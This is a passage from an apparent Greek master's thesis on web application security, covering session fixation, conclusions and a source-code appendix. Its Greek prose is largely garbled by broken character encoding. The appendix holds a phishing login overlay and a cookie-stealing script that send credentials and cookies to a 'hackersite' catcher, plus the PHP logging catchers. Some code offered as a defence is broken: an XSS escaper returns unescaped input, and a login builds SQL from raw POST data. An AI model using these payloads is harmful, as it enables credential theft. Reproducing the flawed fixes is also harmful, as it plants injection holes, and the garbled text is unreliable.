Ο ζηφρνο, δελ είλαη λα θαηαζηξαθνχλ ηα ππάξρνληα δεδνκέλα $_SESSION (θαη κάιηζηα ε 

εληνιή session_regenerate_id () ηα αθήλεη άζηθηα), αιιά ε δεκηνπξγία ελφο λένπ 

αλαγλσξηζηηθνχ ζπλφδνπ πξνθεηκέλνπ λα εμαιεηθζεί ε πηζαλφηεηα έλαο εηζβνιέαο κε ζχλνδν 

πνπ έρεη ρακειφ επίπεδν δηθαησκάησλ, λα κπνξεί λα εθηειέζεη ιεηηνπξγίεο πνπ απαηηνχλ πςειφ 

επίπεδν δηθαησκάησλ. 
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Γηα ηελ θαιχηεξε θαηαλφεζε ηνπ πξνβιήκαηνο, αο ζεσξήζνπκε κηα εθαξκνγή πνπ δεκηνπξγεί 

κηα ζχλνδν γηα θάζε επηζθέπηε θαη φηαλ ν επηζθέπηεο ζειήζεη λα ζπλδεζεί ζην ζχζηεκα, 

αλαδεκηνπξγείηε ην αλαγλσξηζηηθφ ζπλφδνπ ηνπ. Έρνπκε ινηπφλ, έλα ζελάξην ζχλδεζεο ζην 

ζχζηεκα κε ρξήζε session (session-login.php): 

 
<?php 

 //Start session (Gia perasma paramentron) 

 session_start(); 

  

 //Create query (Sindesi stin vasi) 

 $qry="SELECT * FROM member WHERE username='".$_POST['username']."' AND 

 password='".md5($_POST['password'])."'"; 

 $result=mysql_query($qry); 

  

 //Elegxoume an to query htan epitixes h oxi 

 if($result) { 

  if(mysql_num_rows($result) == 1) { 

   //Login Successful 

   //Kanoume Regenerate to session ID gia profilaksi apo "session 

   fixation attacks" 

   session_regenerate_id(); 

                 session_write_close(); 

   header("location: ../index.php"); 

   exit(); 

  }else { 

   //Login failed 

   header("location: login-failed.php"); 

   exit(); 

  } 

 }else { 

  die("Query failed"); 

 } 

?> 

 

Τν ελδηαθέξνλ ζεκείν ζην παξαπάλσ script είλαη ζηελ πεξίπησζε πνπ έρνπκε επηηπρή ζχλδεζε 

ηνπ ρξήζηε ζην ζχζηεκα, ηφηε ζα εθηειεζηεί ε ζπλάξηεζε session_regenerate_id()θαη ζα 

παξάγεη έλα λέν session ID, ην νπνίν ζα απνζεθεπηεί άκεζα ζαλ cookie ζηνλ browser κε ηελ 

εθηέιεζε ηεο ζπλάξηεζεο session_write_close(). 

΋πσο αλαθέξζεθε θαη ζηελ αξρή ηεο ζπγθεθξηκέλεο ελφηεηαο, ζεκειηψδεο γλψξηζκα κηαο 

αζθαιήο ζπλφδνπ, είλαη ν ηξφπνο κε ηνλ νπνίν γίλεηαη ε παξαγσγή θαη ε κεηέπεηηα δηαρείξηζε 

ησλ ραξαθηεξηζηηθψλ κίαο ζπλφδνπ
[12]

. Η παξαγσγή «δπλαηόλ» ραξαθηεξηζηηθώλ γηα κία 

ζύλνδν είλαη ζεκαληηθή, θαζψο ηα ραξαθηεξηζηηθά απηά ρξεζηκνπνηνχληαη γηα ηελ αλαγλψξηζε 

ελφο ρξήζηε θαηά ηελ πεξηήγεζε ηνπ ζηνπο δηάθνξνπο πφξνπο ηεο εθαξκνγήο. Θα κπνξνχζακε 

λα πνχκε πψο νη πην απνηειεζκαηηθνί κεραληζκνί παξαγσγήο ηέηνησλ ραξαθηεξηζηηθψλ είλαη 

εθείλνη πνπ: 

 ρξεζηκνπνηνχλ έλα εμαηξεηηθά κεγάιν ζχλνιν ησλ πηζαλψλ ηηκψλ, θαη 

 πεξηέρνπλ κηα ηζρπξή ηερληθή παξαγσγήο ςεπδφ-ηπραίσλ ζηνηρείσλ, εμαζθαιίδνληαο 

νκνηφκνξθε θαη απξφβιεπηε εμάπισζε απηψλ ησλ ζηνηρείσλ, ζε φιν ην θάζκα ησλ 

πηζαλψλ ηηκψλ. 
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Δπηπιένλ, ηα ζηνηρεία ηεο ζπλφδνπ δελ ζα πξέπεη λα έρνπλ θαλέλα λφεκα ή δνκή, είηε λα είλαη 

θαλεξά θσδηθνπνηεκέλα (πρ md5). ΋ια ηα ζηνηρεία γηα ηνλ ρξήζηε θαη ην θαζεζηψο ηεο 

ζπλφδνπ ζα πξέπεη λα απνζεθεχνληαη ζην δηαθνκηζηή. Η ζπγθεθξηκέλε ηερληθή, φπσο θαη 

πνιιέο άιιεο, καο δεκηνπξγεί εξσηήκαηα γηα ην θαηά πόζν κηα «κεραλή» παξαγσγήο 

ςεπδό-ηπραίσλ ζηνηρείσλ κπνξεί λα αληαπνθξηζεί ζηνλ ξπζκό (αλα)δεκηνπξγίαο ηζρπξώλ 

ζηνηρείσλ γηα ζπλόδνπο κίαο Live Γηαδηθηπαθήο Δθαξκνγήο; Γηα παξάδεηγκα, πφζνο ρξφλνο 

απαηηείηαη γηα ηελ αθνινπζία παξαγσγήο ςεπδφ-ηπραίσλ ηηκψλ (ιφγσ ησλ βεκάησλ πνπ 

ρξεηάδνληαη γηα λα ιάβνπλ ηελ ηθαλνπνηεηηθή εληξνπία απφ ηα γεγνλφηα ζπζηεκάησλ θ.ιπ.) θαη 

ελ ζπλερεία ππάξρεη πεξίπησζε λα κελ πξνιάβνπλ λα παξαδνζνχλ νη ηηκέο απηέο αξθεηά 

γξήγνξα, ψζηε λα γίλεη ε παξαγσγή ησλ ραξαθηεξηζηηθψλ ζπλφδνπ ηεο εθαξκνγήο;  

Τέινο, έρνληαο δεκηνπξγήζεη έλα ηζρπξφ session ID ηνπ νπνίνπ ε ηηκή δελ κπνξεί λα 

πξνβιεθζεί, καο κέλεη λα ην πξνζηαηεύνπκε θαζ' όιε ηε δηάξθεηα ηνπ θύθινπ ηεο δσήο ηνπ, 

ψζηε λα εμαζθαιηζηεί ε κε απνθάιπςε ηνπ, εθηφο απφ ην ρξήζηε γηα ηνλ νπνίν έρεη εθδνζεί. 

Απηφ γίλεηαη κε δηάθνξνπο ηξφπνπο, κεξηθνχο απφ ηνπο νπνίνπο έρνπκε αλαθέξεη θαη ζε 

πξνγελέζηεξν ζεκείν σο αλεμάξηεηεο ηερληθέο: 

 Τν session ID ζα πξέπεη λα δηαβηβάδεηαη κφλν κέζσ HTTPS. Κάζε session ID πνπ 

κεηαδίδεηαη ζαλ απιφ θείκελν ζα πξέπεη λα ζεσξείηαη κνιπζκέλν, δειαδή φηη δελ 

παξέρεη δηαζθάιηζε γηα ηελ ηαπηφηεηα ηνπ ρξήζηε. Δάλ ρξεζηκνπνηνχληαη HTTP 

cookies γηα ηε κεηάδνζε ησλ ραξαθηεξηζηηθψλ ζπλφδνπ, ζα πξέπεη λα νξίδνληαη σο 

αζθαιέο (flagged as Secure), ψζηε λα  ν browser ηνπ ρξήζηε λα κελ κπνξεί λα ηα 

κεηαδψζεη κέζσ HTTP. 

 Τα ραξαθηεξηζηηθά κηαο ζπλφδνπ δελ πξέπεη πνηέ λα κεηαδίδνληαη κέζσ ηνπ URL (βιέπε 

$_GET κεηαβιεηέο). 

 Η εθαξκνγή καο ζα πξέπεη λα δηαζέηεη ιεηηνπξγία Log-Out ε νπνία λα απειεπζεξψλεη 

φινπο ηνπο πφξνπο ζπλφδνπ πνπ δεζκεχνληαλ ζην δηαθνκηζηή θαη παξάιιεια λα 

αθπξψζεη ηελ ζχλνδν. 

 Θα πξέπεη λα εθαξκνζηεί ιήμε ηεο ζπλφδνπ κεηά απφ κηα κεγάιε πεξίνδν αδξάλεηαο 

(π.ρ. 5 ιεπηά). Απηφ ζα έρεη σο απνηέιεζκα λα απνζπλδεζεί ν ρξήζηεο. 

 Τα ζηνηρεία domain θαη path ελφο session cookie ζα πξέπεη λα παξάγνληαη κε απζηεξφ 

ηξφπν απφ ηνλ ίδην ηνλ πξνγξακκαηηζηή (θαη ζπλεπψο ηελ εθαξκνγή) θαη ε παξαγσγή 

ηνπ λα κελ επαθίεηαη ζε θάπνηνλ web server. 

 Θα πξέπεη πάληα λα δεκηνπξγείηαη κηα λέα ζχλνδνο κεηά ηελ αιιαγή επηπέδνπ 

δηθαησκάησλ ελφο ρξήζηε, ψζηε λα ακβιπλζνχλ νη επηπηψζεηο ησλ επηζέζεσλ 

θαζήισζεο ζπλφδνπ. 

 



Μεηαπηπρηαθή Γηαηξηβή   Τζάηκνο Διεπζέξηνο 

   89 

 
Θέκαηα Αζθάιεηαο ζηηο Σχγρξνλεο Γηαδηθηπαθέο Δθαξκνγέο 

Κεθάιαην 4: Δπίινγνο 

4.1 Σπκπεξάζκαηα θαη εξεπλεηηθέο θαηεπζύλζεηο 

Οη ζχγρξνλεο εμειίμεηο ζηνλ ηνκέα ηεο πιεξνθνξηθήο θαη ηδηαίηεξα ζην δηαδίθηπν, επηβάιινπλ 

ηελ απφιπηε πξνζήισζε ηεο δηαδηθαζίαο αλάπηπμεο κίαο εθαξκνγήο, ζηελ ηθαλνπνίεζε ησλ 

αλαγθψλ ησλ ηειηθψλ ρξεζηψλ. Τα κέρξη ηψξα ζηνηρεία, δείρλνπλ φηη νη εκπιεθφκελνη 

(πξνγξακκαηηζηέο, ζρεδηαζηέο θ.α.) αληαπνθξίλνληαη άκεζα ζε απηφ, σζηφζν θαίλεηαη λα έρνπλ 

κηθξή επαηζζεηνπνίεζε ζε ζέκαηα αζθάιεηαο θαη αθφκα κηθξφηεξε ζπλείδεζε αλάπηπμεο 

αζθαινχο θψδηθα.  

Έρνληαο θαιχςεη ηα ζεκαληηθφηεξα δεηήκαηα αζθάιεηαο Γηαδηθηπαθψλ Δθαξκνγψλ, φπσο απηά 

θαηαγξάθνληαη απφ ηνλ νξγαληζκφ OWASP, ήξζε ε ψξα γηα νξηζκέλεο ηειηθέο ζθέςεηο θαη 

πξνηάζεηο πνπ αθνξνχλ ηελ αζθάιεηα θαη ηηο πξνεθηάζεηο ηεο, φπσο απηέο παξνπζηάζηεθαλ ζηα 

πξνεγνχκελα θεθάιαηα. 

Σήκεξα, ην γεγνλφο είλαη φηη θαηά ηελ δηαδηθαζία αλάπηπμεο, νη πξνγξακκαηηζηέο έρνπλ φιε ηελ 

πξνζνρή ηνπο ζηξακκέλε ζηελ ρξεζηηθφηεηα θαη ιηγφηεξν ζηελ αζθάιεηα ηεο εθαξκνγήο. Ωο εθ 

ηνχηνπ, δεκηνπξγείηαη έλα πξφβιεκα ζηελ αλάπηπμε αζθαιψλ εθαξκνγψλ, θαζψο δελ ππάξρεη 

ηζνξξνπία κεηαμχ αζθάιεηαο θαη ρξεζηηθφηεηαο. Έλα άιιν πξφβιεκα είλαη φηη νη 

πξνγξακκαηηζηέο έρνπλ ηζρλή επίγλσζε ησλ θηλδχλσλ/πξνβιεκάησλ πνπ κπνξνχλ λα 

παξνπζηαζηνχλ, ηφζν ζηελ εθαξκνγή φζν θαη ζηνπο ρξήζηεο, ιφγσ ησλ αλαζθαιψλ πξαθηηθψλ 

αλάπηπμεο ινγηζκηθνχ πνπ αθνινπζνχλ. 

Δπηπιένλ, εθ ηνπ απνηειέζκαηνο απνδεηθλχεηαη φηη νη πεξηζζφηεξεο δηαδηθηπαθέο εθαξκνγέο 

παξαδίδνληαη πξνο ρξήζε, ρσξίο ηηο απαξαίηεηεο δνθηκέο αζθάιεηαο. Ο νξγαληζκφο OWASP φρη 

κφλν ελεκεξψλεη ηνπο πξνγξακκαηηζηέο γηα ην πψο λα ρεηξηζηνχλ ζέκαηα αζθάιεηαο θαηά ηελ  

δηαδηθαζία αλάπηπμεο, αιιά ηνπο δίλεη θαη έλα πιαίζην εξγαζίαο (framework) εζηηαζκέλν ζηελ 

αζθάιεηα. ΋ηαλ νη εθαξκνγέο δνθηκάδνληαη κέζσ κηαο κεζνδνινγίαο αζθάιεηαο θαη ηεξνχλ 

πξνθαζνξηζκέλνπο θαλφλεο αζθαινχο αλάπηπμεο, ηφηε ην ηειηθφ απνηέιεζκα είλαη κηα αζθαιήο 

εθαξκνγή αιιά θαη αζθαιείο ηειηθνί ρξήζηεο. 

΋ια ηα παξαπάλσ έρνπλ θπζηθφ ανηίκηςπο ζηοςρ ππογπαμμαηιζηέρ, θαζψο η ανάπηςξη μιαρ 

αζθαλούρ διαδικηςακήρ εθαπμογήρ είναι δύζκολο έπγο. Καηά ηελ αλάπηπμε εθαξκνγψλ, νη 

πξνγξακκαηηζηέο ζα πξέπεη λα ιακβάλνπλ ππφςε ηνπο δηάθνξνπο παξάγνληεο φπσο: 

 ηελ επηινγή κηαο κεζφδνπ αλάπηπμεο, θαζψο απηφ φρη κφλν βνεζά λα αλαπηχμνπλ ηηο 

ππεξεζίεο εληφο ησλ ρξνληθψλ νξίσλ αιιά θαη ζηελ εθπιήξσζε ησλ απαηηήζεσλ 

αζθάιεηαο. 

 δηαθνξεηηθνχ ηχπνπ απεηιέο γηα ηελ αζθάιεηα, θάηη πνπ ζα ηνπο βνεζήζεη λα εθηηκήζνπλ 

πνηα πξάγκαηα απνηεινχλ θίλδπλν γηα ηελ εθαξκνγή ηνπο θαη ην είδνο ηεο απψιεηαο πνπ 

κπνξεί λα πξνθχςεη ιφγσ απηψλ ησλ εππαζεηψλ. 
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Σηελ παξνχζα εξγαζία, δελ πηνζεηήζεθε θακηά ζπγθεθξηκέλε ηερληθή, αλη’ απηνχ ν αλαγλψζηεο 

πξνηξέπεηαη έκκεζα λα αθνινπζήζεη ηηο νξζέο πξαθηηθέο πξνγξακκαηηζκνχ πνπ έρνπλ 

ζπδεηεζεί. ΋ζνη (πξνγξακκαηηζηέο) αθνινπζήζνπλ ηηο πξαθηηθέο πνπ έρνπλ αλαθεξζεί, ζα 

κπνξέζνπλ; λα αλαπηχμνπλ αζθαιείο εθαξκνγέο / ππεξεζίεο. Ωο εθ ηνχηνπ, θξίλεηαη αλαγθαίν 

λα δνζεί πξνζνρή απφ ηνπο πξνγξακκαηηζηέο θαη λα ζπλεηδεηνπνηήζνπλ ηε ζνβαξφηεηα ηεο 

θαηάζηαζεο ζρεηηθά κε ηα ζέκαηα αζθάιεηαο (εηδηθά θαηά ηε δηάξθεηα ηεο δηαδηθαζίαο 

αλάπηπμεο), έηζη ψζηε ηειηθά λα αθνινπζήζνπλ ηηο ζρεηηθέο θαιέο πξαθηηθέο πνπ εμαιείθνπλ 

ηηο εππάζεηεο ησλ εθαξκνγψλ / ππεξεζηψλ. Τν πεξηβάιινλ (ιεηηνπξγηθφ ζχζηεκα, πξνγξάκκαηα, 

θ.α.) ηεο θπζηθήο ζπζθεπήο (π.ρ. server) είλαη επίζεο κείδνλνο ζεκαζίαο, δηφηη φιεο νη ππεξεζίεο 

πνπ αλαπηχζζνληαη ζα «θηινμελεζνχλ» ζην ζπγθεθξηκέλν πεξηβάιινλ. Έηζη, εάλ δελ 

πξνζηαηεχεηαη θαηάιιεια δελ ζα ζέζεη ζε θίλδπλν κφλν ηε θπζηθή ζπζθεπή αιιά θαη ηηο 

εθαξκνγέο / ππεξεζίεο πνπ θηινμελεί. Βέβαηα, ν ηνκέαο ησλ δηαδηθηπαθψλ απεηιψλ θαηά ησλ 

εμππεξεηεηψλ (server), απνηειεί έλαλ ηειείσο αλεμάξηεην ηνκέα έξεπλαο πνπ δελ 

πεξηιακβάλεηαη ζηελ ζπγθεθξηκέλε εξγαζία.  

Δλ θαηαθιείδη, ζα κπνξνχζακε λα πνχκε πσο η αποθςγή εςπαθειών είναι θέμα γενικών 

ππογπαμμαηιζηικών ππακηικών και όσι ςιοθέηηζη μεμονωμένων ηεσνικών.  

Παξάιιεια, ρξήδεη αλαθνξάο ε κεγάιε δπζθνιία πνπ ζπλαληήζεθε θαηά ηελ αλεχξεζε 

πιεξνθνξηψλ ζρεηηθψλ κε ην ζέκα καο, φρη ηφζν ζηε βηβιηνγξαθία, αιιά ζε πξαθηηθφ επίπεδν, 

θαζψο δελ ζπλαληήζακε θάπνηα πιήξσο πινπνηεκέλε θαη παξάιιεια επξέσο δηαδεδνκέλε 

πξνζέγγηζε.  

Όζν αθνξά ην πξαθηηθό κέξνο, έρνληαο θαηαβάιεη κεγάιε πξνζπάζεηα γηα ηελ πινπνίεζε 

θάπνηνπ ιεηηνπξγηθνχ θψδηθα, κπνξνχκε λα πνχκε φηη ε πιήξεο «πξνθχιαμε» κίαο εθαξκνγήο 

είλαη κηα ζχλζεηε δηαδηθαζία ε επηηπρία ηεο νπνίαο εμαξηάηαη απφ δηάθνξνπο παξάγνληεο. Η 

ζσζηή επηινγή ησλ εξγαιείσλ/πξαθηηθψλ είλαη αλαγθαία ζπλζήθε φρη φκσο θαη ηθαλή γηα ηελ 

επηηπρία, θαζψο ε κνξθή θαη ην πιήζνο ησλ δεδνκέλσλ ηεο εθαξκνγήο επεξεάδνπλ ζεκαληηθά 

ην ηειηθφ απνηέιεζκα. Η κέζνδνο πνπ επηιέρζεθε ζε απηή ηελ εξγαζία, παξέρεη κελ ηελ επειημία 

επηινγήο ζηνλ πξνγξακκαηηζηή, έρεη όκωο θάπνηνπο πεξηνξηζκνύο (ζηνπο νπνίνπο αλαγθαζηηθά 

ππνπέζακε).  

Τν πην ζεκαληηθφ δήηεκα πνπ πξνέθπςε αθνξά ηελ «αποηελεζμαηικόηηηα» ηων λύζεων γηα κία 

ζπγθεθξηκέλε εππάζεηα. ΋ηαλ δειαδή, κία ιχζε απαηηεί ηελ απφξξηςε θάπνηνλ δεδνκέλσλ σο 

επηθίλδπλα γηα ηελ εθαξκνγή, ελψ παξάιιεια ζε θάπνηα άιιν ζεκείν ε ίδηα ε εθαξκνγή απαηηεί 

ηελ εηζαγσγή ησλ ίδησλ δεδνκέλσλ γηα ηελ νξζή ιεηηνπξγία ηεο. 

Κάλνληαο κία πξνζπάζεηα λα πξνβιέςνπκε ηηο εμειίμεηο, ζα κπνξνχζακε λα πνχκε φηη παξφιν 

πνπ ηα ζηνηρεία δείρλνπλ κηα κεηαηφπηζε ησλ επηζέζεσλ ζηελ πιεπξά ησλ ρξεζηψλ (Client 

side), δελ ζα πξέπεη λα κεηξηαζηεί ε κειινληηθή έπεςνα για εςπάθειερ ζε πεπιβάλλονηα 

εξςπηπεηηηών. 
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Δπίζεο, ε βηνκεραλία ηνπ ειεθηξνληθνχ εκπνξίνπ εμειίζζεηαη ξαγδαία θαη πιένλ νη 

πεξηζζφηεξεο ππεξεζίεο ειεθηξνληθνχ εκπνξίνπ  παξαδίδνληαη ζηνπο πειάηεο κέζσ ησλ 

θηλεηψλ ζπζθεπψλ ηνπο (Mobile/Smart Phones, Tablets). Ήδε, ε αζθάιεηα απνηειεί κεγάιν 

δήηεκα γηα απηέο ηηο ππεξεζίεο, έηζη ίζσο οι μελλονηικέρ έπεςνερ θα μποπούζαν να 

επικενηπωθούν ζηην αζθάλεια ηων m-commerce εθαπμογών / ςπηπεζιών. 
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Κεθάιαην 5: Παξαξηήκαηα 

5.1 Παξάξηεκα Πεγαίνπ Κώδηθα 

Σην ζεκείν απηφ παξαηίζεηαη ην ζχλνιν ηνπ θψδηθα πνπ έρεη παξνπζηαζηεί ζην πεξηερφκελν ηεο 

ελ ιφγσ Μεηαπηπρηαθήο Γηαηξηβήο. Ο θψδηθαο απηφο αλαπηχρζεθε ηφζν γηα ηελ θαιχηεξε 

θαηαλφεζε θαη αλάδεημε ησλ εππαζεηψλ, φζν θαη γηα ηελ επηηπρεκέλε αληηκεηψπηζε ησλ 

πξνβιεκάησλ πνπ πξνθχπηνπλ απφ απηέο. Τέινο, ν θψδηθαο είλαη γξακκέλνο κε ηξφπν ηέηνην 

ψζηε λα είλαη απηφ-εμεγνχκελνο, ελψ παξάιιεια είλαη επαξθψο ζρνιηαζκέλνο ζηα ζεκεία πνπ 

απαηηείηαη. 

 

Αξρείν θψδηθα: fakelogineform.html  

<div id="mydiv" style=" position:absolute; background-color:#ccccff; 

width:30%; z-index:2; left:40%; top:40%;"> 

<p align="center">Limited Access. You must Login in order to continue.</p> 

 

<form name="form" action="" method="post"> 

    <p align="center"> 

        Username: <input type="text" name="usern" size="30"/><br /><br /> 

        Password: <input type="password" name="pass" size="30"/><br /> 

    </p> 

 

    <p align="center"> 

        <input type="submit" value="Submit" onClick="submitdata();" /> 

    </p> 

</form>  

</div> 

<script> 

function submitdata() { 

    document.getElementById("mydiv").style.display = "none"; 

    postvars = "username=" + document.form.usern.value + "&password=" + 

document.form.pass.value; 

        var iframe = document.createElement(\"iframe\"); 

        iframe.src = ("http://localhost/hackersite/catch.php?" + postvars); 

        document.body.appendChild(iframe); 

        alert("iframe.src" + iframe.src); 

} 

</script> 

 

Αξρείν θψδηθα: background.css 

; background-

image:url('http://hackerrobot4546fansite.webs.com/photos/Hacked/Hack%201.jpg'); 
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Αξρείν θψδηθα: myevilscript.html  

"<iframe width="420" height="315" src="http://www.youtube.com/embed/S-

5Pzg3zRi0" frameborder="0" allowfullscreen></iframe> 

 

Αξρείν θψδηθα: cookie.html  

<script> 

    var iframe = document.createElement(\"iframe\"); 

    var link = encodeURI(document.cookie); 

    iframe.src = ("http://localhost/hackersite/catchcookie.php?" + link); 

    document.body.appendChild(iframe); 

</script> 

 

Αξρείν θψδηθα: catch.php 

<?php 

   $filename = "caughtdata.txt"; 

   $handle = fopen($filename, "a"); 

   fwrite($handle, "\n"); 

   fwrite($handle, $_SERVER["REMOTE_ADDR"]."\n"); 

   foreach ( $_REQUEST as $k => $v ) { 

   $msg = "$k = $v\n"; 

   fwrite($handle, $msg); 

   print $msg . "<BR>"; 

   } 

   fwrite($handle, "\n"); 

   fclose($handle); 

?> 

 

Αξρείν θψδηθα: catchcookie.php 

<?php 

   echo $_COOKIE["uid"]; 

   $filename = "cookiedata.txt"; 

   $handle = fopen($filename, "a"); 

   fwrite($handle, "\n"); 

   fwrite($handle, $_SERVER["REMOTE_ADDR"]."\n"); 

   foreach ( $_REQUEST as $k => $v ) { 

   $msg = "$k = $v\n"; 

   fwrite($handle, $msg); 

   print $msg . "<BR>"; 

   } 

   fwrite($handle, "\n"); 

   fclose($handle); 

?> 
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Αξρείν θψδηθα: filter-email.php 

<?php 

    if(!filter_has_var(INPUT_GET, "email")) { 

        echo("Den Yparxoun Dedomena"); 

    } 

    else { 

        if (!filter_input(INPUT_GET, "email", FILTER_VALIDATE_EMAIL)) { 

            echo "To E-Mail einai akyro"; 

        } 

        else { 

            echo "To E-Mail einai egyro"; 

        } 

    } 

?>  

 

Αξρείν θψδηθα: filter-url .php 

<?php 

    if(!filter_has_var(INPUT_POST, "url")) { 

        echo("Den Yparxoun Dedomena"); 

    } 

    else { 

        $url = filter_input(INPUT_POST,"url", FILTER_SANITIZE_URL); 

    } 

?>  

 

Αξρείν θψδηθα: html-xss.php 

<?php 

    function myhtmli( $strinput ) { 

        htmlentities( $strinput, ENT_QUOTES, 'utf-8' ); 

        return $strinput; 

    } 

     

    // H eisodos..tha mporouse na einai kai $_POST apo forma ktl 

    $details = "\x8F!!! Tsaimos"; 

     

    // Typonei: Tsaimos 

    print '<p>' . myhtmli( $details ) . '</p>'; 

?> 

 

Αξρείν θψδηθα: call-url-xss.php 

<html> 

<head></head> 

<body> 

    <form action="url-xss.php" method="post"> 

        URL: <input type="text" name="inputUrl" size="80"/> 

        <input type="submit" /> 

    </form>  

</body> 

</html> 
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Αξρείν θψδηθα: url-xss.php 

<?php 

    function mysafeURL( $strurl ) { 

        $uriParts = parse_url( $strurl ); 

        $trustedHosts = array('mydomain.gr','subdomain.mydomain.gr'); 

//empista URL 

        $counter = count($trustedHosts); //Arithmos Empiston URLs 

        for ( $i = 0; $i < $counter; $i++ ) { 

            if ( $uriParts['host'] === $trustedHosts[$i] ) { 

                return $strurl; //TRUE: epistrefei to URL os exei 

            } 

        } 

         

        //FALSE: epistrefei to URL kai dipla to host 

        //Tha mporouse na exei alert I na kovei to URL 

        $strurl .= ' [' . $uriParts['host'] . ']'; 

        return $strurl; 

    } 

         

    // retrieve $uri from user input 

    $inputUrl = $_POST['inputUrl']; 

         

    // and display it safely 

    echo mysafeURL( $inputUrl ); 

?> 

 

Αξρείν θψδηθα: session.php 

<?php 

    session_start(); 

    if (!isset($_SESSION['visits'])) 

    { 

        $_SESSION['visits'] = 1; 

    } 

    else 

    { 

        $_SESSION['visits']++; 

    } 

    echo $_SESSION['visits']; 

?> 

 

Αξρείν θψδηθα: session_secure.php  

<?php 

    session_start(); 

    if (!isset($_SESSION['visits'])) 

    { 

        session_regenerate_id(); 

        $_SESSION['visits'] = 1; 

    } 

    else 

    { 

        $_SESSION['visits']++; 

    } 

    echo $_SESSION['visits']; 

?> 
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Αξρείν θψδηθα: session-login.php 

<?php 

    //Start session (Gia perasma paramentron) 

    session_start(); 

     

    //Create query (Sindesi stin vasi) 

    $qry="SELECT * FROM member WHERE username='".$_POST['username']."' AND 

password='".md5($_POST['password'])."'"; 

    $result=mysql_query($qry); 

     

    //Elegxoume an to query htan epitixes h oxi 

    if($result) { 

        if(mysql_num_rows($result) == 1) { 

            //Login Successful 

            //Kanoume Regenerate to session ID gia profilaksi apo "session 

fixation attacks" 

            session_regenerate_id(); 

            session_write_close(); 

            header("location: ../index.php"); 

            exit(); 

        }else { 

            //Login failed 

            header("location: login-failed.php"); 

            exit(); 

        } 

    }else { 

        die("Query failed"); 

    } 

?> 
 

 

Αξρείν θψδηθα: login-secure.php 

<?php 

    //Ekinisi session gia na paroume tis metavlites $_POST 

    session_start(); 

     

    //Pinakas gia tin fyllaksh ton lathon validation 

    $errmsg_arr = array(); 

     

    //Shmaia Lathous 

    $errflag = false; 

     

    //Syndesi ston mysql server 

    $link = mysql_connect(DB_HOST, DB_USER, DB_PASSWORD); 

    if(!$link) { 

        die('Apotyxia Sindesis ston server: ' . mysql_error()); 

    } 

     

    //Epilogi Vasis Dedomenon 

    $db = mysql_select_db(DB_DATABASE); 

    if(!$db) { 

        die("Den einai dinati i epilogi tis Bashs Dedomenon"); 

    } 
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    //Synartisi gia sanitize ton timon poy lamvanonte apo tin forma.  

    //Merimna gia SQL injection 

    function myclean($str) { 

        $str = @trim($str); 

        if(get_magic_quotes_gpc()) { //Epistrefei to status twn 

magic_quotes_gpc 

            $str = stripslashes($str); //Afairei ta backslashes 

        } 

        return mysql_real_escape_string($str); 

    } 

     

    //Kanoume Sanitize tis times POST  

    $username = myclean($_POST['username']); 

    $password = myclean($_POST['password']); 

     

    //Elegxoume an yparxei eisodos 

    if($username == '') { 

        $errmsg_arr[] = 'To Login Username Leipei'; 

        $errflag = true; 

    } 

    if($password == '') { 

        $errmsg_arr[] = 'To Login Password Leipei'; 

        $errflag = true; 

    } 

     

    //An ypaxei provlima, kanoume redirect stin arxiki selida 

    if($errflag) { 

        $_SESSION['ERRMSG_ARR'] = $errmsg_arr; //Kratame ta lathoi 

        session_write_close(); //Grafoume k kleinoume to session 

        header("location: ../index.php"); //redirect 

        exit(); //eksodos apo to script 

    } 

     

    //Dhmiourgia tou paremeterized query, xrhsh md5() gia to password 

    $qry="SELECT * FROM member WHERE username='$username' AND 

password='".md5($_POST['password'])."'"; 

    $result=mysql_query($qry); 

     

    //Elegxos Epituxias h Apotuxias tou query 

    if($result) { 

        if(mysql_num_rows($result) == 1) { //Login Successful 

            //Kanoume Regenerate to session ID gia profilaksi apo "session 

fixation attacks" 

            session_regenerate_id(); 

            $member = mysql_fetch_assoc($result); //pairnoume ta apotelesmata 

            $_SESSION['SESS_FIRST_NAME'] = $member['username']; //p.x. 

kratame to username 

            $_SESSION['LEVEL'] = $member['level']; //p.x. kratame to level 

dikaiomaton 

            session_write_close(); 

            header("location: ../index.php"); 

            exit(); 

        }else { //Login failed 

            header("location: login-failed.php"); 

            exit(); 

        } 

    }else { 

        die("Query failed"); 

    } 

?> 

 


